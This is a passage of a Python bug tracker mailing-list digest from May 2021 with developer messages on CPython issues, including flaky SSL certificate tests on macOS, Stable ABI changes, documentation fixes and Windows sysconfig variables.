https://github.com/python/cpython/commit/68b9c20a98887bf0a92698f8df9f28b9440970dc ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:59:26 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 11:59:26 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1621943966.17.0.80651493783.issue43795@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 68b9c20a98887bf0a92698f8df9f28b9440970dc by Miss Islington (bot) in branch '3.10': bpo-43795: Remove Py_FrozenMain from the Limited API & Stable ABI (GH-26241) (GH-26353) https://github.com/python/cpython/commit/68b9c20a98887bf0a92698f8df9f28b9440970dc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:59:26 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 11:59:26 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621943966.03.0.560114485078.issue44131@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 68b9c20a98887bf0a92698f8df9f28b9440970dc by Miss Islington (bot) in branch '3.10': bpo-43795: Remove Py_FrozenMain from the Limited API & Stable ABI (GH-26241) (GH-26353) https://github.com/python/cpython/commit/68b9c20a98887bf0a92698f8df9f28b9440970dc ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:27:00 2021 From: report at bugs.python.org (=?utf-8?b?TWlja2HDq2wgVsOpcmls?=) Date: Tue, 25 May 2021 12:27:00 +0000 Subject: [issue44233] Provide Windows Terminal Fragment Extension Message-ID: <1621945620.89.0.911213334128.issue44233@roundup.psfhosted.org> New submission from Micka?l V?ril : Windows terminal has now a new feature called Fragment Extension. This can be used by third party applications to let Terminal know they exist. So, if the python team add a Fragment Extensions for python it allows python to appear directly as a profile in Windows terminal with the official icon and possibly other customization. More info here https://docs.microsoft.com/en-us/windows/terminal/json-fragment-extensions. Currently if we want to add python to the list of profile, we need to do this manually but Python should be added to Windows terminal itself. A good example is the new git-bash integration recently added to git for Windows https://github.com/git-for-windows/git/issues/3183 ---------- components: Windows messages: 394336 nosy: mveril, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Provide Windows Terminal Fragment Extension type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:29:47 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 25 May 2021 12:29:47 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1621945787.67.0.699719184712.issue43795@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24946 pull_request: https://github.com/python/cpython/pull/26354 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:33:04 2021 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 May 2021 12:33:04 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621945984.44.0.415662160957.issue44208@roundup.psfhosted.org> Eric V. Smith added the comment: I agree with Raymond: I've never seen this behavior anywhere. In general, I think being looser with allowed inputs is not a good idea. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:37:27 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Tue, 25 May 2021 12:37:27 +0000 Subject: [issue5758] fileinput.hook_compressed returning bytes from gz file In-Reply-To: <1239752882.45.0.853698903963.issue5758@psf.upfronthosting.co.za> Message-ID: <1621946247.03.0.0364825862332.issue5758@roundup.psfhosted.org> Jason R. Coombs added the comment: I did consider and confirm that mode="rb" does also provide a uniform solution, but it also regresses the behavior of uncompressed inputs, making them bytes where they were text. This approach feels like the "Python 1" compatibility approach. At least in my case, the preference was to migrate to the future behavior, where all content is decoded to Unicode text, without having to wait for Python 3.9 to sunset. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:52:42 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 12:52:42 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621947162.82.0.382629420707.issue44131@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:54:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 12:54:22 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621947262.75.0.392696925581.issue44229@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I neither have a macOS nor a Windows machine to reproduce and debug the issue. Can you maybe use a VM for Windows? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 08:55:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 12:55:29 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621947329.9.0.441978135061.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Ok, but bear in mind that this will block the next beta and you are the expert in this area. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:03:56 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 13:03:56 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621947836.54.0.376384567923.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: I?ll see if I can provoke it on my Mac. What?s the preferred solution? 1. Catch the connection failure and skip the test? 2. Retry connection? 3. Find the root cause and make sure it never ever happens :) Maybe 2. is acceptable :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:07:40 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 13:07:40 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621948060.03.0.599245926134.issue44229@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Is possible that these are flaky tests but I am afraid this may be something more important so o would prefer to go with 3 ;) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:13:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 13:13:35 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621948415.82.0.499332354161.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Also, this started to happen after the changes in PEP 644, and seems that reverting all changes related to the pep fixes the issue (at least I cannot reproduce it anymore after manually reverting the changes). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:16:27 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 13:16:27 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621948587.11.0.0542712849266.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: I feared that ;) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:20:46 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 May 2021 13:20:46 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1621948846.2.0.781769218695.issue42392@roundup.psfhosted.org> Ken Jin added the comment: > There appear to be no versionchanged:: 3.10 in the asyncio docs on the APIs that formerly accepted a loop= parameter Sorry, I missed that. Working on it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:21:20 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 13:21:20 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621948880.36.0.00033156170032.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Also, I think the solution in: https://github.com/python/cpython/pull/25561 (skipping the test) is not acceptable for the next beta. Christian, I know that this is complicated for you yo reproduce and that this is a hard issue to debug, but this seems linked to the changes in PEP 644 and the reality is that a release manager I don't know the cause of these new failures and the facts are that this is not happening in 3.9 or before. If we don't fix this for the next beta, I will be forced to revert PEP 644 until we have a permanent fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:23:10 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 13:23:10 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621948990.47.0.842869002962.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: Getting there. The error message is similar: $ ./python.exe -m test test_ssl -m test_get_server_certificate -u all -F ... 0:02:11 load avg: 2.10 [328] test_ssl test test_ssl failed -- Traceback (most recent call last): File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2132, in test_get_server_certificate _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2329, in _test_get_server_certificate pem = ssl.get_server_certificate((host, port), ca_certs=cert) File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1521, in get_server_certificate with context.wrap_socket(sock, server_hostname=host) as sslsock: File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 518, in wrap_socket return self.sslsocket_class._create( File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1070, in _create self.do_handshake() File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1339, in do_handshake self._sslobj.do_handshake() ConnectionResetError: [Errno 54] Connection reset by peer test_ssl failed == Tests result: FAILURE == ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:26:37 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 13:26:37 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621949197.35.0.521522306432.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: Got it: 0:02:29 load avg: 2.81 [389] test_ssl test test_ssl failed -- Traceback (most recent call last): File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2132, in test_get_server_certificate _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2329, in _test_get_server_certificate pem = ssl.get_server_certificate((host, port), ca_certs=cert) File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1520, in get_server_certificate with create_connection(addr, timeout=timeout) as sock: File "/Users/erlendaasland/src/cpython-ssl/Lib/socket.py", line 844, in create_connection raise err File "/Users/erlendaasland/src/cpython-ssl/Lib/socket.py", line 832, in create_connection sock.connect(sa) ConnectionRefusedError: [Errno 61] Connection refused test_ssl failed == Tests result: FAILURE == ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:41:51 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 13:41:51 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621950111.86.0.817844205367.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: $ git diff diff --git a/Lib/ssl.py b/Lib/ssl.py index 2b131de043..9c281d8028 100644 --- a/Lib/ssl.py +++ b/Lib/ssl.py @@ -257,8 +257,9 @@ class _TLSMessageType: if sys.platform == "win32": from _ssl import enum_certificates, enum_crls +from test.support import SHORT_TIMEOUT as _GLOBAL_DEFAULT_TIMEOUT from socket import socket, SOCK_STREAM, create_connection -from socket import SOL_SOCKET, SO_TYPE, _GLOBAL_DEFAULT_TIMEOUT +from socket import SOL_SOCKET, SO_TYPE import socket as _socket import base64 # for DER-to-PEM translation import errno $ % ./python.exe -m test test_ssl -m test_get_server_certificate -u all -F ... 0:03:27 load avg: 2.24 [535] test_ssl test test_ssl failed -- Traceback (most recent call last): File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2132, in test_get_server_certificate _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2329, in _test_get_server_certificate pem = ssl.get_server_certificate((host, port), ca_certs=cert) File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1521, in get_server_certificate with create_connection(addr, timeout=timeout) as sock: File "/Users/erlendaasland/src/cpython-ssl/Lib/socket.py", line 844, in create_connection raise err File "/Users/erlendaasland/src/cpython-ssl/Lib/socket.py", line 832, in create_connection sock.connect(sa) ConnectionRefusedError: [Errno 61] Connection refused test_ssl failed == Tests result: FAILURE == ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:42:43 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 May 2021 13:42:43 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621950163.72.0.489484460866.issue44232@roundup.psfhosted.org> Ken Jin added the comment: Can you please try removing the `assert(type != NULL);` line at https://github.com/python/cpython/blob/main/Objects/typeobject.c#L3313 and see if it works for you? I suspect that `winner->tp_new()` may sometimes fail and *should* return NULL to indicate that in those cases, so the assert may not always hold. ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:55:42 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 13:55:42 +0000 Subject: [issue44156] [subinterpreters] Replace static string caches with subinterpreter-compatible alternatives In-Reply-To: <1621244065.25.0.526859274821.issue44156@roundup.psfhosted.org> Message-ID: <1621950942.58.0.333257293633.issue44156@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 29669245d4ad760f43853a7a0434143090135331 by Ken Jin in branch 'main': bpo-44156: Make cached string constants in compile.c subinterpreter compatible (GH-26161) https://github.com/python/cpython/commit/29669245d4ad760f43853a7a0434143090135331 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:58:23 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 13:58:23 +0000 Subject: [issue44231] Remove _PyTuple_FromArray from the public API In-Reply-To: <1621942062.7.0.430805859626.issue44231@roundup.psfhosted.org> Message-ID: <1621951103.26.0.224046050974.issue44231@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 1b940eb410e2755538a36d87fe4aa8d8783183d6 by Erlend Egeberg Aasland in branch 'main': bpo-44231: Don't export internal _PyTuple_FromArray() symbol (GH-26352) https://github.com/python/cpython/commit/1b940eb410e2755538a36d87fe4aa8d8783183d6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:59:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 13:59:09 +0000 Subject: [issue44231] Remove _PyTuple_FromArray from the public API In-Reply-To: <1621942062.7.0.430805859626.issue44231@roundup.psfhosted.org> Message-ID: <1621951149.24.0.130499543399.issue44231@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:02:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 14:02:29 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1621951349.03.0.911078623272.issue44031@roundup.psfhosted.org> STINNER Victor added the comment: > make test TESTOPTS="-v test_embed test_tabnanny" I'm talking about commands *before make test. How did you get the tarball? How did you configure Python? How did you build it? log_configure 3.9.2.log doesn't contain the configure command. log_make 3.9.2.log doesn't contain the make command. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:17:52 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 14:17:52 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621952272.83.0.749393051322.issue44229@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Erlend, could you maybe add some context to the messages, unfortunately, I am failing to understand what they mean :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:20:50 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 25 May 2021 14:20:50 +0000 Subject: [issue44234] Debugging with LLDB doesn't work for universal2 installer on macOS Big Sur Message-ID: <1621952450.41.0.860203928612.issue44234@roundup.psfhosted.org> New submission from Ronald Oussoren : I've installed python 3.9.5 using the universal2 installer on my M1 MacBook. Debugging this python using lldb doesn't work because the debugger cannot attach to the (newly launched) binary. This appears to be due to a missing entitlement in the signed executable. Background: https://developer.apple.com/forums/thread/676028?answerId=666834022#666834022 (in particular the first reply). ---------- components: Build, macOS messages: 394356 nosy: ned.deily, ronaldoussoren priority: normal severity: normal stage: needs patch status: open title: Debugging with LLDB doesn't work for universal2 installer on macOS Big Sur type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:23:11 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 May 2021 14:23:11 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621952591.74.0.0868584654367.issue44229@roundup.psfhosted.org> Christian Heimes added the comment: me, too. Did the change of import for timeout setting cause the issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:22:45 2021 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 25 May 2021 14:22:45 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1621952565.07.0.803803701799.issue38768@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:24:44 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 14:24:44 +0000 Subject: [issue20408] memoryview() constructor documentation error In-Reply-To: <1390823591.54.0.904712473888.issue20408@psf.upfronthosting.co.za> Message-ID: <1621952684.78.0.603979461011.issue20408@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24948 pull_request: https://github.com/python/cpython/pull/26356 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:24:50 2021 From: report at bugs.python.org (Berker Peksag) Date: Tue, 25 May 2021 14:24:50 +0000 Subject: [issue20408] memoryview() constructor documentation error In-Reply-To: <1390823591.54.0.904712473888.issue20408@psf.upfronthosting.co.za> Message-ID: <1621952690.22.0.0614364204609.issue20408@roundup.psfhosted.org> Berker Peksag added the comment: New changeset d18e5dae914b1db49b25ed7729c07a535d1f0c52 by Mariusz Felisiak in branch 'main': bpo-20408: Fix memoryview() signature in docs (GH-24431) https://github.com/python/cpython/commit/d18e5dae914b1db49b25ed7729c07a535d1f0c52 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:24:38 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 14:24:38 +0000 Subject: [issue20408] memoryview() constructor documentation error In-Reply-To: <1390823591.54.0.904712473888.issue20408@psf.upfronthosting.co.za> Message-ID: <1621952678.71.0.812607572878.issue20408@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24947 pull_request: https://github.com/python/cpython/pull/26355 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:26:16 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 14:26:16 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621952776.11.0.845299901591.issue44232@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +pablogsal priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:30:18 2021 From: report at bugs.python.org (Berker Peksag) Date: Tue, 25 May 2021 14:30:18 +0000 Subject: [issue20408] memoryview() constructor documentation error In-Reply-To: <1390823591.54.0.904712473888.issue20408@psf.upfronthosting.co.za> Message-ID: <1621953018.95.0.18639603292.issue20408@roundup.psfhosted.org> Berker Peksag added the comment: New changeset 05f8ad0c745016cd8b5bdbda4336688b80f45fd7 by Miss Islington (bot) in branch '3.10': bpo-20408: Fix memoryview() signature in docs (GH-24431) https://github.com/python/cpython/commit/05f8ad0c745016cd8b5bdbda4336688b80f45fd7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:30:51 2021 From: report at bugs.python.org (Berker Peksag) Date: Tue, 25 May 2021 14:30:51 +0000 Subject: [issue20408] memoryview() constructor documentation error In-Reply-To: <1390823591.54.0.904712473888.issue20408@psf.upfronthosting.co.za> Message-ID: <1621953051.29.0.716398574414.issue20408@roundup.psfhosted.org> Berker Peksag added the comment: New changeset 8accb8c8ccf371021cba5a2b91f5b7c711fa8149 by Miss Islington (bot) in branch '3.9': bpo-20408: Fix memoryview() signature in docs (GH-24431) https://github.com/python/cpython/commit/8accb8c8ccf371021cba5a2b91f5b7c711fa8149 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:31:25 2021 From: report at bugs.python.org (Berker Peksag) Date: Tue, 25 May 2021 14:31:25 +0000 Subject: [issue20408] memoryview() constructor documentation error In-Reply-To: <1390823591.54.0.904712473888.issue20408@psf.upfronthosting.co.za> Message-ID: <1621953085.79.0.769447250421.issue20408@roundup.psfhosted.org> Change by Berker Peksag : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:33:41 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 May 2021 14:33:41 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1621953221.99.0.374274463107.issue42392@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +24949 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26357 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:35:13 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 25 May 2021 14:35:13 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1621953313.51.0.574941431795.issue37596@roundup.psfhosted.org> Filipe La?ns added the comment: I would not expect SOURCE_DATE_EPOCH to sacrifice performance. During packaging, SOURCE_DATE_EPOCH is always set, and sometimes we need to perform expensive operations. We only need this behavior during cache generation, making the solution not optimal. Backtracking a bit to your proposal for sorting the elements. Is it possible to have two different types with the same name? We need a unique identifier for each type. After that, we need the type to allow sorting/comparing items, which AFAIK is not something we can guarantee. We could certainly do the sorting where we are able to, and bail out if impossible, which I feel should handle the majority of cases. This is not optimal, but reasonable. Is there any way we could something like resetting the hash seed during cache generation? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:38:27 2021 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 25 May 2021 14:38:27 +0000 Subject: [issue44235] Remove l*gettext() and related functions in the gettext module Message-ID: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org> New submission from Dong-hee Na : Those APIs were planned to remove at Python 3.10. Now it's python 3.11 it looks okay to remove now. ---------- components: Library (Lib) messages: 394362 nosy: corona10, serhiy.storchaka priority: normal severity: normal status: open title: Remove l*gettext() and related functions in the gettext module type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:39:57 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 25 May 2021 14:39:57 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? In-Reply-To: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> Message-ID: <1621953597.9.0.866979991758.issue44214@roundup.psfhosted.org> Ronald Oussoren added the comment: Annoyingly the keywords variant is the most interesting to expose :-) due to the complexity of correctly interpreting keyword arguments. I agree that we should be careful in exposing the APIs using _PyArg_Parser, although it should be easer to expose it only in the non-stable ABI because extensions should be recompiled for new python releases anyway. That said, I won't work on this issue myself (or at least not anytime soon). My current use case doesn't use keyword arguments, and open coding the calls to PyArg_ParseTuple is easy enough for now (even if that leads to more boilerplate). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:44:39 2021 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 25 May 2021 14:44:39 +0000 Subject: [issue44235] Remove l*gettext() and related functions in the gettext module In-Reply-To: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org> Message-ID: <1621953879.23.0.104469224017.issue44235@roundup.psfhosted.org> Dong-hee Na added the comment: @serhiy If you are okay, can I process this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 10:57:25 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 25 May 2021 14:57:25 +0000 Subject: [issue44235] Remove l*gettext() and related functions in the gettext module In-Reply-To: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org> Message-ID: <1621954645.0.0.838250313586.issue44235@roundup.psfhosted.org> Serhiy Storchaka added the comment: Go ahead! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:00:37 2021 From: report at bugs.python.org (E. Paine) Date: Tue, 25 May 2021 15:00:37 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1621954837.07.0.439744867718.issue44010@roundup.psfhosted.org> E. Paine added the comment: Can we close this, or are we leaving it open for when (if) we do a colouriser refactor? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:08:24 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 15:08:24 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621955304.01.0.378821249167.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: Yes, sorry ?bout the cryptic messages :) This is against current main branch (I?m not at my computer right now, so I don?t have the git ref). The first two failures came after 328 and 389 runs. Increasing the timeout (using test.support.SHORT_TIMEOUT) made it harder trigging the failure (~500 repetitions). I?ll try to declutter when I?m back on my computer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:15:02 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 May 2021 15:15:02 +0000 Subject: [issue44236] Define SOABI, LIBRARY, LDLIBRARY and LIBPL on Windows Message-ID: <1621955702.53.0.253039628808.issue44236@roundup.psfhosted.org> New submission from Steve Dower : Python on Windows currently has no values in sysconfig to locate the lib files for building. Though these are very predictable (for now), it would be nice to have them in the same place as for other platforms. I propose defining the following config vars in sysconfig: LIBRARY=Path(_winapi.GetModuleFileName(sys.dllhandle)).stem LDLIBRARY=Path(_winapi.GetModuleFileName(sys.dllhandle)).name LIBPL=Path(sys.prefix) / "libs" SOABI= Are there better shared names for these? Or others that should be added? ---------- components: Windows messages: 394368 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Define SOABI, LIBRARY, LDLIBRARY and LIBPL on Windows versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:18:34 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 May 2021 15:18:34 +0000 Subject: [issue44236] Define SOABI, LIBRARY, LDLIBRARY and LIBPL on Windows In-Reply-To: <1621955702.53.0.253039628808.issue44236@roundup.psfhosted.org> Message-ID: <1621955914.58.0.907008930414.issue44236@roundup.psfhosted.org> Steve Dower added the comment: Should actually be: LIBPL=Path(sysconfig.get_config_var("installed_base")) / "libs" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:20:03 2021 From: report at 